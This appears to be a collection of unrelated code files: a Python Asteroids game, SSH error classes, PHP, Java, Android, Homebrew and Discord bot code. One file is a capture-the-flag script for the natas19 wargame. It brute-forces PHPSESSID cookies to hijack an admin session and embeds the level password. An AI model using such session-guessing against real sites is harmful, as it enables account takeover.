	self.angle_to_closest_obstacle = 0

    def draw(self,canvas):
        if self.thrust:
            canvas.draw_image(self.image, [self.image_center[0] + self.image_size[0], self.image_center[1]] , self.image_size,
                              self.pos, self.image_size, self.angle)
        else:
            canvas.draw_image(self.image, self.image_center, self.image_size,
                              self.pos, self.image_size, self.angle)

    def update(self):

        self.angle += self.angle_vel

        if(abs(math.degrees(self.angle)) > 360) :
		 self.angle = 0

        self.pos[0] = (self.pos[0] + self.vel[0]) % WIDTH
        self.pos[1] = (self.pos[1] + self.vel[1]) % HEIGHT

        if self.thrust:
            acc = angle_to_vector(self.angle)
            self.vel[0] += acc[0] * .3
            self.vel[1] += acc[1] * .3
            self.vel[0] *= .99
            self.vel[1] *= .99
	else :
	    self.vel[0] *= 0
            self.vel[1] *= 0

    def set_thrust(self, on):
        self.thrust = on
        if on:
            ship_thrust_sound.rewind()
            ship_thrust_sound.play()
        else:
            ship_thrust_sound.pause()

    def increment_angle_vel(self, magnitude = None):
	if magnitude is None :
        	self.angle_vel += .1
	else :
		self.angle_vel += magnitude

    def decrement_angle_vel(self, magnitude = None):
	if magnitude is None:
        	self.angle_vel -= .1
	else :
		self.angle_vel -= magnitude

    def stop_rotating(self):
	self.angle_vel = 0

    def shoot(self):
        global missile_group
        forward = angle_to_vector(self.angle)
        missile_pos = [self.pos[0] + self.radius * forward[0], self.pos[1] + self.radius * forward[1]]
        missile_vel = [self.vel[0] + 6 * forward[0], self.vel[1] + 6 * forward[1]]
        a_missile = Sprite(missile_pos, missile_vel, self.angle, 0, missile_image, missile_info, missile_sound)

        missile_group.add(a_missile)

    def obstacle_detection(self, ObstacleGroup) :

	distance_to_closest_obstacle = 10000
	angle_to_closest_obstacle = 0
	closest_obstacle = None

	for g in list(ObstacleGroup) :
		obstacle_position = g.get_position()
		obstacle_radius = g.get_radius()
		horizontal_distance = (self.pos[0] - obstacle_position[0])
		vertical_distance = (self.pos[1] - obstacle_position[1])
		offset = self.radius + obstacle_radius
		euclidean_distance = dist(self.pos, obstacle_position) - offset
		angle = math.degrees(math.atan2(vertical_distance,horizontal_distance))

		if euclidean_distance < distance_to_closest_obstacle :
			distance_to_closest_obstacle = euclidean_distance
			angle_to_closest_obstacle = angle
			closest_obstacle = g

	self.closest_obstacle = closest_obstacle
	self.distance_to_closest_obstacle = distance_to_closest_obstacle
	angle_to_closest_obstacle = -((self.get_angle() - angle_to_closest_obstacle)%360 - 180)
	self.angle_to_closest_obstacle = angle_to_closest_obstacle

	return self.closest_obstacle

    def get_position(self):
        return self.pos

    def get_radius(self):
        return self.radius

    def get_angle(self):
	if math.degrees(self.angle) < -180 :
		return math.degrees(self.angle) + 360.0
	if math.degrees(self.angle) > 180 :
		return math.degrees(self.angle) - 360.0
	else :
		return math.degrees(self.angle)

    def get_distance_to_closest_obstacle(self) :
	return self.distance_to_closest_obstacle

    def get_angle_to_closest_obstacle(self) :
	return self.angle_to_closest_obstacle

#Create a class to represent objects other the space ship in the environment
class Sprite:
    def __init__(self, pos, vel, ang, ang_vel, image, info, sound = None):
        self.pos = [pos[0],pos[1]]
        self.vel = [vel[0],vel[1]]
        self.angle = ang
        self.angle_vel = ang_vel
        self.image = image
        self.image_center = info.get_center()
        self.image_size = info.get_size()
        self.radius = info.get_radius()
        self.lifespan = info.get_lifespan()
        self.animated = info.get_animated()
        self.age = 0
        if sound:
            sound.rewind()
            sound.play()

    def draw(self, canvas):

        if self.animated :

            canvas.draw_image(explosion_image, [ explosion_info.get_center()[0] + self.age * explosion_info.get_size()[0], explosion_info.get_center()[1]  ], explosion_info.get_size(),
                          self.pos, self.image_size, self.angle)

        else :

            canvas.draw_image(self.image, self.image_center, self.image_size,
                          self.pos, self.image_size, self.angle)

    def update(self):
        # update angle
        self.angle += self.angle_vel

        # update position
        self.pos[0] = (self.pos[0] + self.vel[0]) % WIDTH
        self.pos[1] = (self.pos[1] + self.vel[1]) % HEIGHT

        self.age += 1

        if self.age >= self.lifespan :
            return True
        else:
            return False

    def get_position(self):
        return self.pos

    def get_radius(self):
        return self.radius

    def collide(self , ship ) :

        ship_pos = ship.get_position()
        ship_radius = ship.get_radius()

        horizontal_distance = abs(self.pos[0] - ship_pos[0])
        vertical_distance = abs(self.pos[1] - ship_pos[1])

        if ( horizontal_distance < (self.radius + ship_radius) and vertical_distance < (self.radius + ship_radius) ) :
            return True
        else :
            return False

    def set_angle_vel(self,ang_vel) :
	self.angle_vel = ang_vel

###########################################
##
##	FUNCTIONS
##
###########################################

#Combinational Logic For Playing The Game Automatically
def auto_play():
    global started, missile_group,rock_group, previous_angle

    #Define PD Controller Constants
    kp = 0.0000115
    kd = 0.00005

    #If there are any rocks in the environment execute the logic or else freeze the ship
    if len(rock_group) is not 0:

	#If the nearest obstacle is in shootable angle, else stop rotation of ship
	if abs(my_ship.get_angle_to_closest_obstacle()) > 2 :

		#Implement Proportional-Derivative (PD) Controller
		Error = my_ship.get_angle_to_closest_obstacle()
		dError = previous_angle - my_ship.get_angle_to_closest_obstacle()
		magnitude = kp*Error + kd*dError
		my_ship.increment_angle_vel(magnitude)
		previous_angle = my_ship.get_angle_to_closest_obstacle()

		#To prevent jerky thrusting define a threshold outside of the shootable angle to thrust forward
		if my_ship.get_distance_to_closest_obstacle() > 60 and abs(my_ship.get_angle_to_closest_obstacle()) < 3 :
			my_ship.set_thrust(True)
		else :
			my_ship.set_thrust(False)
	else :
		previous_angle = 0.0
		my_ship.stop_rotating()

		#If nearest obstacle is in shootable range then fire missile or else thrust forward
		if my_ship.get_distance_to_closest_obstacle() < 60 :
			my_ship.set_thrust(False)
			if len(missile_group) is 0 :
				my_ship.shoot()

		else :
			my_ship.set_thrust(True)

    else :
	my_ship.set_thrust(False)
	my_ship.stop_rotating()

#Key pressed logic
def keydown(key):
    global Manual
    if Manual:
	    if key == simplegui.KEY_MAP['left']:
		my_ship.decrement_angle_vel()
	    elif key == simplegui.KEY_MAP['right']:
		my_ship.increment_angle_vel()
	    elif key == simplegui.KEY_MAP['up']:
		my_ship.set_thrust(True)
	    elif key == simplegui.KEY_MAP['space']:
		my_ship.shoot()

#key released logic
def keyup(key):
    global Manual
    if Manual:
	    if key == simplegui.KEY_MAP['left']:
		my_ship.increment_angle_vel()
	    elif key == simplegui.KEY_MAP['right']:
		my_ship.decrement_angle_vel()
	    elif key == simplegui.KEY_MAP['up']:
		my_ship.set_thrust(False)

#When mouse is clicked on screen ,this function is called
def click(pos):
    global started , lives , score , explosion_group, Manual, Automatic
    lives = 3
    score = 0
    explosion_group = set()

    size = [100, 100]

    inmanualwidth = (200 ) < pos[0] < (200 + size[0] )
    inmanualheight = (500 - size[1] ) < pos[1] < (500)

    inautomaticwidth = (500 ) < pos[0] < (500 + size[0] )
    inautomaticheight = (500 - size[1]) < pos[1] < (500)

    if (not started) :
	#Check if Manual or Automatic Option was selected
	if inmanualwidth and inmanualheight :
        	started = True
		Manual = True
		Automatic = False
	if inautomaticwidth and inautomaticheight:
		started = True
		Automatic = True
		Manual = False

#This is called approximately 60 times a second, all the updates to the frame happens here
def draw(canvas):
    global time, started,rock_group,lives , score , missile_group, explosion_group, previous_closest_obstacle, automatic
    time += 1
    wtime = (time / 4) % WIDTH
    center = debris_info.get_center()
    size = debris_info.get_size()
    canvas.draw_image(nebula_image, nebula_info.get_center(), nebula_info.get_size(), [WIDTH / 2, HEIGHT / 2], [WIDTH, HEIGHT])
    canvas.draw_image(debris_image, center, size, (wtime - WIDTH / 2, HEIGHT / 2), (WIDTH, HEIGHT))
    canvas.draw_image(debris_image, center, size, (wtime + WIDTH / 2, HEIGHT / 2), (WIDTH, HEIGHT))

    my_ship.draw(canvas)

    my_ship.update()

    if not started:

        canvas.draw_image(splashoverlay_image, splashoverlay_info.get_center(),
                          splashoverlay_info.get_size(), [WIDTH / 2, HEIGHT / 2],
                          splashoverlay_info.get_size())

        canvas.draw_text("Lakshman Kumar's", [260, 150], 40, "Green")
	canvas.draw_text("Manual", [200, 500], 40, "Green")
	canvas.draw_text("Automatic", [500, 500], 40, "Green")
	canvas.draw_text("Click any option", [350, 460], 20, "Green")

    else:

        process_sprite_group(rock_group , canvas)
        process_sprite_group(missile_group , canvas)
        process_sprite_group(explosion_group , canvas)

	closest_obstacle = my_ship.obstacle_detection(rock_group)

	if closest_obstacle is not None :
		closest_obstacle.set_angle_vel(1)

	if previous_closest_obstacle is not None and previous_closest_obstacle is not closest_obstacle :
		previous_closest_obstacle.set_angle_vel(0)

	previous_closest_obstacle = closest_obstacle

        if group_collide(rock_group,my_ship):
             lives -=1
        group_group_collide(rock_group,missile_group)
        soundtrack.play()

        if lives <= 0 :
            started = False
            lives = 0
            rock_group = set()
            soundtrack.rewind()

	if Automatic:
		auto_play()

    if started :
	    canvas.draw_text("Lives", [50, 50], 22, "White")
	    canvas.draw_text("Score", [680, 50], 22, "White")
	    canvas.draw_text("Distance", [580, 50], 22, "White")
	    canvas.draw_text("Angle", [480, 50], 22, "White")
	    canvas.draw_text("Nearest Obstacle", [490, 25], 22, "White")
	    canvas.draw_text(str(lives), [50, 80], 22, "White")
	    canvas.draw_text(str(score), [680, 80], 22, "White")
	    canvas.draw_text(str(math.ceil(my_ship.get_distance_to_closest_obstacle())), [580, 80], 22, "White")
	    canvas.draw_text(str(math.ceil(my_ship.get_angle_to_closest_obstacle())), [480, 80], 22, "White")

#Spawn rocks if its less than the required threshold
def rock_spawner():
    global  rock_group, started , my_ship, max_number_of_rocks
    rock_pos = [random.randrange(75, WIDTH-75), random.randrange(75, HEIGHT-75)]
    rock_vel = [0,0]
    rock_avel = 0
    a_rock = Sprite(rock_pos, rock_vel, 0, rock_avel, asteroid_image, asteroid_info)
    if(len(rock_group) < max_number_of_rocks and started and (not a_rock.collide(my_ship)) ) :
        rock_group.add(a_rock)

#Draw sprite objects on the frame
def process_sprite_group(group, canvas):

    for g in list(group) :
        g.draw(canvas)
        if g.update() :
            group.remove(g)

#Check if a group (rocks,missiles) has collided with any other object( a space ship, a missile etc)
def group_collide(group,other_object) :

    global explosion_group
    for g in list(group) :
        if g.collide(other_object):
            explosion = Sprite(g.get_position(), [0,0], 0, 0, explosion_image, explosion_info,explosion_sound)
            explosion_group.add(explosion)

            group.remove(g)
            return True
    return False

#Check if two groups have collided (Rocks and Missiles)
def group_group_collide(group1 , group2):

    global score;
    for g in list(group1):
        if group_collide(group2,g) :
            group1.discard(g)
            score +=1

def angle_to_vector(ang):
    return [math.cos(ang), math.sin(ang)]

#Euclidean Distance
def dist(p, q):
    return math.sqrt((p[0] - q[0]) ** 2 + (p[1] - q[1]) ** 2)

###########################################
##
##	MAIN FUNCTION
##
###########################################

if __name__ == '__main__':

	#Create all the required image objects

	debris_info = ImageInfo([320, 240], [640, 480])
	debris_image = simplegui.load_image("http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/debris2_blue.png")

	nebula_info = ImageInfo([400, 300], [800, 600])
	nebula_image = simplegui.load_image("http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/nebula_blue.f2014.png")

	splashoverlay_info = ImageInfo([WIDTH/2, HEIGHT/2], [WIDTH,HEIGHT])
	splashoverlay_image = simplegui.load_image("http://sfstory.free.fr/images/Affiches/starwars800x600.jpg")

	ship_info = ImageInfo([45, 45], [90, 90], 35)
	ship_image = simplegui.load_image("http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/double_ship.png")

	missile_info = ImageInfo([5,5], [10, 10], 3, 50)
	missile_image = simplegui.load_image("http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/shot2.png")

	asteroid_info = ImageInfo([45, 45], [90, 90], 40)
	asteroid_image = simplegui.load_image("http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/asteroid_blue.png")

	explosion_info = ImageInfo([64, 64], [128, 128], 17, 24, True)
	explosion_image = simplegui.load_image("http://commondatastorage.googleapis.com/codeskulptor-assets/lathrop/explosion_alpha.png")

	#Create game sounds

	soundtrack = simplegui.load_sound("http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/soundtrack.mp3")
	missile_sound = simplegui.load_sound("http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/missile.mp3")
	missile_sound.set_volume(.5)
	ship_thrust_sound = simplegui.load_sound("http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/thrust.mp3")
	explosion_sound = simplegui.load_sound("http://commondatastorage.googleapis.com/codeskulptor-assets/sounddogs/explosion.mp3")

	#Create the game screen
	frame = simplegui.create_frame("Asteroids", WIDTH, HEIGHT)

	#Create the ship
	my_ship = Ship([WIDTH / 2, HEIGHT / 2], [0, 0], 0, ship_image, ship_info)

	#Initialize sprites
	rock_group = set()
	missile_group = set()
	explosion_group = set()

	#Set appropriate helper functions for frame object
	frame.set_keyup_handler(keyup)
	frame.set_keydown_handler(keydown)
	frame.set_mouseclick_handler(click)
	frame.set_draw_handler(draw)

	#Create a timer to run rock_spawner every 10 ms
	timer = simplegui.create_timer(10.0, rock_spawner)

	#Start the timer
	timer.start()

	#Start the game screen
	frame.start()


text:
''' Exceptions raise by Apps.
'''

class ChannelError(Exception):
    """ Base class for all exceptions

    Only to be invoked when only a more specific error is not available.
    """
    def __repr__(self):
        return "Hostname:{0}, Reason:{1}".format(self.hostname, self.reason)

    def __str__(self):
        return self.__repr__()

class BadHostKeyException(ChannelError):
    ''' SSH channel could not be created since server's host keys could not
    be verified

    Contains:
    reason(string)
    e (paramiko exception object)
    hostname (string)
    '''

    def __init__(self, e, hostname):
        super().__init__()
        self.reason = "SSH channel could not be created since server's host keys could not be verified"
        self.hostname = hostname
        self.e = e

class BadScriptPath(ChannelError):
    ''' An error raised during execution of an app.
    What this exception contains depends entirely on context
    Contains:
    reason(string)
    e (paramiko exception object)
    hostname (string)
    '''

    def __init__(self, e, hostname):
        super().__init__()
        self.reason = "Inaccessible remote script dir. Specify script_dir"
        self.hostname = hostname
        self.e = e

class BadPermsScriptPath(ChannelError):
    ''' User does not have permissions to access the script_dir on the remote site

    Contains:
    reason(string)
    e (paramiko exception object)
    hostname (string)
    '''

    def __init__(self, e, hostname):
        super().__init__()
        self.reason = "User does not have permissions to access the script_dir"
        self.hostname = hostname
        self.e = e

class FileExists(ChannelError):
    ''' Push or pull of file over channel fails since a file of the name already
    exists on the destination.

    Contains:
    reason(string)
    e (paramiko exception object)
    hostname (string)
    '''

    def __init__(self, e, hostname, filename=None):
        super().__init__()
        self.reason = "File name collision in channel transport phase:" + filename
        self.hostname = hostname
        self.e = e

class AuthException(ChannelError):
    ''' An error raised during execution of an app.
    What this exception contains depends entirely on context
    Contains:
    reason(string)
    e (paramiko exception object)
    hostname (string)
    '''

    def __init__(self, e, hostname):
        super().__init__()
        self.reason = "Authentication to remote server failed"
        self.hostname = hostname
        self.e = e

class SSHException(ChannelError):
    ''' if there was any other error connecting or establishing an SSH session

    Contains:
    reason(string)
    e (paramiko exception object)
    hostname (string)
    '''

    def __init__(self, e, hostname):
        super().__init__()
        self.reason = "Error connecting or establishing an SSH session"
        self.hostname = hostname
        self.e = e

class FileCopyException(ChannelError):
    ''' File copy operation failed

    Contains:
    reason(string)
    e (paramiko exception object)
    hostname (string)
    '''

    def __init__(self, e, hostname):
        super().__init__()
        self.reason = "File copy failed due to {0}".format(e)
        self.hostname = hostname
        self.e = e


text:
<?php $str_sub = 'index';
$title = $lang->get('Image', 'console.common') . ' » ';

if ($attachRow['attach_id'] > 0) {
  $title  .= $lang->get('Edit');
} else {
  $title  .= $lang->get('Upload');
  $str_sub = 'form';
}

$cfg = array(
  'title'             => $title,
  'menu_active'       => 'attach',
  'sub_active'        => $str_sub,
  'baigoValidate'     => 'true',
  'baigoSubmit'       => 'true',
  'tooltip'           => 'true',
  'upload'            => 'true',
  'typeahead'         => 'true',
  'imageAsync'        => 'true',
);

include($tpl_include . 'console_head' . GK_EXT_TPL); ?>

    <a href="<?php echo $hrefRow['index']; ?>" class="nav-link">
      <?php include($tpl_icon . 'chevron-left' . BG_EXT_SVG); ?>
      <?php echo $lang->get('Back'); ?>

          <?php if ($attachRow['attach_id'] > 0) {
            include($tpl_ctrl . 'head' . GK_EXT_TPL);
          } else {
            include($tpl_ctrl . 'upload_form' . GK_EXT_TPL);
          } ?>

      <?php if ($attachRow['attach_id'] > 0) { ?>
        <form name="attach_form" id="attach_form" action="<?php echo $hrefRow['submit']; ?>">
          <input type="hidden" name="<?php echo $token['name']; ?>" value="<?php echo $token['value']; ?>">
          <input type="hidden" name="attach_id" id="attach_id" value="<?php echo $attachRow['attach_id']; ?>">

                  <?php echo $lang->get('ID'); ?>

<?php echo $attachRow['attach_id']; ?>

                  <?php echo $lang->get('Original name'); ?>
                  <input type="text" value="<?php echo $attachRow['attach_name']; ?>" readonly class="form-control">

                  <?php echo $lang->get('Extension'); ?> *
                  <input type="text" name="attach_ext" id="attach_ext" value="<?php echo $attachRow['attach_ext']; ?>" class="form-control">

                  <?php echo $lang->get('MIME'); ?>
                  <input type="text" name="attach_mime" id="attach_mime" value="<?php echo $attachRow['attach_mime']; ?>" class="form-control">

                  <?php echo $lang->get('Note'); ?>
                  <input type="text" name="attach_note" id="attach_note" value="<?php echo $attachRow['attach_note']; ?>" class="form-control">

                  <?php echo $lang->get('Status'); ?> *
                  <?php foreach ($box as $key=>$value) { ?>

                      <input type="radio" name="attach_box" id="attach_box_<?php echo $value; ?>" value="<?php echo $value; ?>" <?php if ($attachRow['attach_box'] == $value) { ?>checked<?php } ?> class="form-check-input">
                      <label for="attach_box_<?php echo $value; ?>" class="form-check-label">
                        <?php echo $lang->get($value); ?>

                  <?php } ?>

                <button type="submit" class="btn btn-primary">
                  <?php echo $lang->get('Save'); ?>
                </button>

        </form>
      <?php } ?>

<?php include($tpl_include . 'console_foot' . GK_EXT_TPL);

  if ($attachRow['attach_id'] > 0) {
    include($tpl_ctrl . 'script' . GK_EXT_TPL);
  } else {
    include($tpl_ctrl . 'upload_script' . GK_EXT_TPL);
  } ?>

<?php include($tpl_include . 'html_foot' . GK_EXT_TPL);


text:
package com.tle.core.notification.standard.indexer;

import com.tle.common.search.DefaultSearch;
import com.tle.common.searching.Field;
import com.tle.common.searching.SortField;
import com.tle.common.usermanagement.user.CurrentUser;
import java.util.List;

public class NotificationSearch extends DefaultSearch {
  private static final long serialVersionUID = 1L;

  @Override
  public String getSearchType() {
    return NotificationIndex.INDEXID;
  }

  @Override
  protected void addExtraMusts(List<List<Field>> musts) {
    musts.add(createFields(NotificationIndex.FIELD_USER, CurrentUser.getUserID()));
  }

  @Override
  public SortField[] getSortFields() {
    return new SortField[] {new SortField(NotificationIndex.FIELD_DATE, true)};
  }
}


text:
<?xml version="1.0" encoding="utf-8"?>
<!--
  ~ Copyright (c) 2018 Citrus-CAF Project
  ~
  ~   Licensed under the Apache License, Version 2.0 (the "License");
  ~   you may not use this file except in compliance with the License.
  ~   You may obtain a copy of the License at
  ~
  ~        http://www.apache.org/licenses/LICENSE-2.0
  ~
  ~   Unless required by applicable law or agreed to in writing, software
  ~   distributed under the License is distributed on an "AS IS" BASIS,
  ~   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  ~   See the License for the specific language governing permissions and
  ~   limitations under the License.
  ~
  -->

<vector  xmlns:android="http://schemas.android.com/apk/res/android"
    android:viewportWidth="24"
    android:viewportHeight="24"
    android:width="24dp"
    android:height="24dp">
    <path
        android:pathData="M7.722 9.556l-4.889 0 8.556 -8.556 8.555 8.556 -5.011 0c0 6.111 1.956 10.388 6.234 13.444C15.056 21.778 8.944 18.111 7.722 9.556Z"
        android:fillColor="#4d000000" />
    <path
        android:pathData="M7.722 9.556l-4.889 0 8.556 -8.556 8.555 8.556 -5.011 0c0 6.111 1.956 10.388 6.234 13.444C15.056 21.778 8.944 18.111 7.722 9.556Z"
        android:strokeWidth="1"
        android:strokeLineJoin="round"
        android:strokeMiterLimit="1.41421"
        android:strokeColor="#000000" />
</vector>


text:
var queue = require('queue-async');
var request = require('request');

var natas19 = 'http://natas19.natas.labs.overthewire.org/';
var natas19user = 'natas19';
var natas19pass = '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs';

function callback(cb, error, response, body) {
  if (error) {
    return cb(error);
  } else if (!error && response.statusCode >= 400) {
    return cb(body);
  } else if (!error && response.statusCode === 200) {
    if (body.indexOf('You are an admin') !== -1) {
      return cb(null, body);
    } else {
      return cb();
    }
  }
}

function doRequest(sessionId, next) {
  var jar = request.jar();

  var trial = new Buffer(sessionId + '-admin');

  var cookie = request.cookie('PHPSESSID=' + trial.toString('hex'));

  jar.setCookie(cookie, natas19);

  var r = request.get(natas19, {
    auth: {
      'user': natas19user,
      'pass': natas19pass
    },
    timeout: 10000,
    jar: jar
  }, callback.bind(this, next));
}

var tasks = [];
for (var i=0, l=641; i<l; i+=1) {
  tasks.push(doRequest.bind(null, i));
}

var q = queue(1);
tasks.forEach(function(t) { q.defer(t); });
q.awaitAll(function(error, results) {
  if (error) { return console.error(error); }
  console.log(results);
});


text:
<?php

/**
 * Skeleton subclass for representing a row from the 'Audio_has_playlist' table.
 *
 *
 *
 * This class was autogenerated by Propel 1.4.2 on:
 *
 * Wed Aug 10 15:28:26 2011
 *
 * You should add additional methods to this class to meet the
 * application requirements.  This class will only be generated as
 * long as it does not already exist in the output directory.
 *
 * @package    plugins.PubsPlugin.lib.model
 */
class AudioHasPlaylist extends BaseAudioHasPlaylist {

} // AudioHasPlaylist


text:
cask "lightform" do
  version "2.2.12.1054"
  sha256 "60c4d4a30cef2a5a0d4f0d89b80806e920a0263dbe0a01628c4f3f2ce4b1d1b6"

  url "https://software.webservices.lumenous3d.com/app/Lightform-#{version}-release-public-macos.dmg",
      verified: "software.webservices.lumenous3d.com/app/"
  name "Lightform Creator"
  desc "AR projection and audio reactivity software for Lightform devices"
  homepage "https://lightform.com/creator"

  depends_on macos: ">= :mojave"

  app "Lightform.app"

  zap trash: [
    "~/Library/Application Support/Lightform",
    "~/Library/Caches/Lightform",
    "~/Library/Preferences/com.lightform.desktop.plist",
    "~/Library/Saved Application State/com.lightform.desktop.savedState",
  ]

  caveats do
    discontinued
  end
end


text:
package mobapptut.com.camera2videoimage.oo.bridge;

import android.graphics.ImageFormat;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.ImageReader;
import android.os.Handler;
import android.util.Size;

/**
 * @author lmiguelmh
 * @since 17/06/2016.
 */
public class Camera1MP extends CameraBridge {

    public void setup(CameraManager cameraManager, int deviceOrientation, ImageReader.OnImageAvailableListener mOnImageAvailableListener, Handler mBackgroundHandler, int width, int height) {
        try {
            for (String cameraId : cameraManager.getCameraIdList()) {
                CameraCharacteristics cameraCharacteristics = cameraManager.getCameraCharacteristics(cameraId);
                if (cameraCharacteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT) {
                    continue;
                }
                StreamConfigurationMap map = cameraCharacteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
                //int deviceOrientation = getWindowManager().getDefaultDisplay().getRotation();
                mTotalRotation = sensorToDeviceRotation(cameraCharacteristics, deviceOrientation);
                boolean swapRotation = mTotalRotation == 90 || mTotalRotation == 270;
                int rotatedWidth = width;
                int rotatedHeight = height;
                if (swapRotation) {
                    rotatedWidth = height;
                    rotatedHeight = width;
                }
                //ERROR: Surface with size (w=3328, h=1872) and format 0x1 is not valid, size not in valid set: [800x600, 864x480, 800x480, 720x480, 640x480, 480x368, 480x320, 352x288, 320x240, 176x144]
                //mPreviewSize = chooseOptimalSize(map.getOutputSizes(SurfaceTexture.class), rotatedWidth, rotatedHeight);
                //mVideoSize = chooseOptimalSize(map.getOutputSizes(MediaRecorder.class), rotatedWidth, rotatedHeight);
                //mImageSize = chooseOptimalSize(map.getOutputSizes(ImageFormat.JPEG), rotatedWidth, rotatedHeight);
                mVideoSize = new Size(640, 480); //TODO: esto debe ser para cada clase en particular, video, image, o preview
                mImageSize = new Size(640, 480);
                mPreviewSize = new Size(640, 480);
                mImageReader = ImageReader.newInstance(mImageSize.getWidth(), mImageSize.getHeight(), ImageFormat.JPEG, 1);
                mImageReader.setOnImageAvailableListener(mOnImageAvailableListener, mBackgroundHandler);
                mCameraId = cameraId;
                return;
            }
        } catch (CameraAccessException e) {
            throw new RuntimeException(e.getMessage(), e);
        }
    }

    public void connect(CameraManager cameraManager, CameraDevice.StateCallback mCameraDeviceStateCallback, Handler mBackgroundHandler) {
        try {
            cameraManager.openCamera(mCameraId, mCameraDeviceStateCallback, mBackgroundHandler);
        } catch (CameraAccessException | SecurityException e) {
            throw new RuntimeException(e.getMessage(), e);
        }
    }

    public void close(CameraDevice mCameraDevice) {
        if (mCameraDevice != null) {
            mCameraDevice.close();
            mCameraDevice = null;
        }
        /*
        if (mMediaRecorder != null) {
            mMediaRecorder.release();
            mMediaRecorder = null;
        }
        */
    }

    // patron bridge agregado por  AGQY

    public void setEffect(){
        // implementacion donde se invocara el metodo filter
    }
}


text:
import os
import logging
import datetime
import discord
from discord.ext import commands
from cogs.utils import checks
from cogs.utils.dataIO import fileIO
from __main__ import send_cmd_help

log = logging.getLogger('red.TypingTrigger')

class UnCache(object):
    def __init__(self, ttl=datetime.timedelta(seconds=10)):
        self.bag = []
        self.ttl = ttl

    def add(self, item):
        self.bag.append((
            item,
            datetime.datetime.utcnow() + self.ttl
        ))
        return len(self)

    def __len__(self):
        self.bag = [item for item in self.bag
                    if item[1] >= datetime.datetime.utcnow()]
        return len(set([item[0] for item in self.bag]))

class TypingTrigger:
    def __init__(self, bot):
        self.bot = bot
        self.settings = fileIO('data/typingtrigger/settings.json', 'load')
        self.bagsofdicks = {}

    @commands.group(pass_context=True)
    async def trigger(self, ctx):
        '''
        Configures this bot's typing notification triggers.
        '''
        if ctx.invoked_subcommand is None:
            await send_cmd_help(ctx)
            return

    @trigger.command(pass_context=True, name='add')
    @checks.is_owner()
    async def _trigger_add(self, ctx, trigger: str):
        '''
        Adds a new triggering trigger for typing trigger notification trigger.
        /triggered
        '''
        self.settings['triggers'] = list(
            set(self.settings['triggers']).union(set([trigger])))
        fileIO('data/typingtrigger/settings.json', 'save', self.settings)
        await self.bot.say('Trigger added.')

    @trigger.command(pass_context=True, name='remove')
    @checks.is_owner()
    async def _trigger_remove(self, ctx, trigger: str):
        '''
        Removes an existing triggering text.
        '''
        try:
            self.settings['triggers'].remove(trigger)
        except ValueError:
            await self.bot.say('No such trigger.')
            return

        fileIO('data/typingtrigger/settings.json', 'save', self.settings)
        await self.bot.say('Trigger removed')

    @trigger.command(pass_context=True, name='threshold')
    @checks.is_owner()
    async def _trigger_threshold(self, ctx, threshold: int):
        '''
        Sets the typing notification threshold.
        '''
        self.settings['threshold'] = threshold
        fileIO('data/typingtrigger/settings.json', 'save', self.settings)
        await self.bot.say('Threshold modified.')

    @trigger.command(pass_context=True, name='show')
    async def _trigger_show(self, ctx):
        '''
        Shows a list ofconfigured typing notification triggers.
        '''
        await self.bot.say('Typing notification threshold: {}'.format(
            self.settings['threshold']))
        await self.bot.say('Configured trigger messages:\n\t{}'.format(
            '\n\t'.join(self.settings['triggers'])))

    async def handle_message(self, message):
        if message.channel.is_private:
            # ignore private messages
            return
        elif message.author.id == self.bot.user.id:
            # do not check bot's own messages
            return
        elif message.clean_content not in self.settings['triggers']:
            return
        else:
            await self.bot.add_reaction(message, 'bigred:310829330735562752')

    async def handle_typing(self, channel, user, when):
        if channel.is_private:
            return
        elif user.id == self.bot.user.id:
            return

        length = self.bagsofdicks.setdefault(
            channel.name, UnCache()).add(user.name)

        if length >= self.settings['threshold']:
            await self.bot.send_typing(channel)

def check_folder():
    if not os.path.exists('data/typingtrigger'):
        os.makedirs('data/typingtrigger')

def check_file():
    if not fileIO('data/typingtrigger/settings.json', 'check'):
        fileIO('data/typingtrigger/settings.json', 'save',
               {'triggers': [],
                'threshold': 3})

def setup(bot):
    check_folder()
    check_file()
    typingtrigger = TypingTrigger(bot)
    bot.add_listener(typingtrigger.handle_message, 'on_message')
    bot.add_listener(typingtrigger.handle_typing, 'on_typing')
    bot.add_cog(typingtrigger)


text:
<?php
class ControllerCheckoutLogin extends Controller {
	public function index() {
		$this->language->load('checkout/checkout');

		$this->data['text_new_customer'] = $this->language->get('text_new_customer');
		$this->data['text_returning_customer'] = $this->language->get('text_returning_customer');
		$this->data['text_checkout'] = $this->language->get('text_checkout');
		$this->data['text_register'] = $this->language->get('text_register');
		$this->data['text_guest'] = $this->language->get('text_guest');
		$this->data['text_i_am_returning_customer'] = $this->language->get('text_i_am_returning_customer');
		$this->data['text_register_account'] = $this->language->get('text_register_account');
		$this->data['text_forgotten'] = $this->language->get('text_forgotten');

		$this->data['entry_email'] = $this->language->get('entry_email');
		$this->data['entry_password'] = $this->language->get('entry_password');

		$this->data['button_continue'] = $this->language->get('button_continue');
		$this->data['button_login'] = $this->language->get('button_login');

		$this->data['guest_checkout'] = ($this->config->get('config_guest_checkout') && !$this->config->get('config_customer_price') && !$this->cart->hasDownload());

		if (isset($this->session->data['account'])) {
			$this->data['account'] = $this->session->data['account'];
		} else {
			$this->data['account'] = 'register';
		}

		$this->data['forgotten'] = $this->url->link('account/forgotten', '', 'SSL');

		if (file_exists(DIR_TEMPLATE . $this->config->get('config_template') . '/template/checkout/login.tpl')) {
			$this->template = $this->config->get('config_template') . '/template/checkout/login.tpl';
		} else {
			$this->template = 'default/template/checkout/login.tpl';
		}

		$this->response->setOutput($this->render());
	}

	public function validate() {
		$this->language->load('checkout/checkout');

		$json = array();

		if ($this->customer->isLogged()) {
